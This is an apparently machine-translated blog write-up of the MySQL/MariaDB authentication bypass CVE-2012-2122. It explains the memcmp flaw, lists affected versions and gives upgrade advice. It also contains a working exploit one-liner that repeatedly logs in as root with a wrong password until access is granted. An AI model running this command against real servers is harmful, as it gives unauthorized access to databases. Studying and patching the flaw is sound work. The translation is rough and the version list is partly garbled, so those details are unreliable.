当前位置:网站首页>MySQL authentication bypass vulnerability (cve-2012-2122)
MySQL authentication bypass vulnerability (cve-2012-2122)
2022-07-06 22:39:00 【OOOOOK. two thousand and twenty-one】
Vulnerability profile
When the connection MariaDB/MySQL when , The password entered will be compared with the expected correct password , Due to improper handling , Can lead to even memcmp () Returns a nonzero value , Also can make MySQL Think two passwords are the same . That is to say, as long as you know the user name , Try again and again to log in directly SQL database .
Affected version
- MariaDB versions from 5.1.62, 5.2.12, 5.3.6, 5.5.23 are not. MySQL
- versions from 5.1.63, 5.5.24, 5.6.6 are not.
Reasons for appearance
This vulnerability is due to memcmp Function only returns -128 To 127 Values in range , Optimized on some platforms , Cause even memcmp() Returns a nonzero value , Also can make MySQL Think two passwords are the same . about 256 You can succeed once .
Loophole recurrence
Scan open ports

use MSF attack



EXP
for i in `seq 1 1000`; do mysql -uroot -pwrong -h your-ip -P3306 ; done
Repair
upgrade MySQL edition ,( Those lower than the following versions must be upgraded to the latest version :5.0 Version below 5.0.96;5.1 Version below 5.1.63;5.5 Version below 5.5.25) stop it mysql, Back up the entire mysql, The installation directory ,data Catalog ( This step is only to prevent escalation
边栏推荐
- Unity3d minigame unity webgl transform plug-in converts wechat games to use dlopen, you need to use embedded 's problem
- Financial professionals must read book series 6: equity investment (based on the outline and framework of the CFA exam)
- three.js绚烂的气泡效果
- MySQL----初识MySQL
- UE4蓝图学习篇(四)--流程控制ForLoop和WhileLoop
- 0 basic learning C language - digital tube
- qt quick项目offscreen模式下崩溃的问题处理
- Comparison between variable and "zero value"
- 2014阿里巴巴web前实习生项目分析(1)
- 自定义 swap 函数
猜你喜欢

0 basic learning C language - interrupt

Config:invalid signature solution and troubleshooting details

NPDP certification | how do product managers communicate across functions / teams?

View

Aardio - 封装库时批量处理属性与回调函数的方法

MySQL数据库基本操作-DML

Machine test question 1

UE4蓝图学习篇(四)--流程控制ForLoop和WhileLoop

CocosCreator+TypeScripts自己写一个对象池

Traversal of a tree in first order, middle order, and then order
随机推荐
网络基础入门理解
extern关键字
Windows Auzre 微软的云计算产品的后台操作界面
three.js绚烂的气泡效果
What are the interface tests? What are the general test points?
three. JS gorgeous bubble effect
OpenNMS separation database
(十八)LCD1602实验
TypeScript获取函数参数类型
【LeetCode】19、 删除链表的倒数第 N 个结点
基于 QEMUv8 搭建 OP-TEE 开发环境
Balanced Multimodal Learning via On-the-fly Gradient Modulation(CVPR2022 oral)
【编译原理】做了一半的LR(0)分析器
Extern keyword
rust知识思维导图xmind
2022-07-05 stonedb sub query processing parsing time analysis
MySQL ---- first acquaintance with MySQL
Adavit -- dynamic network with adaptive selection of computing structure
Daily question 1: force deduction: 225: realize stack with queue
Unified Focal loss: Generalising Dice and cross entropy-based losses to handle class imbalanced medi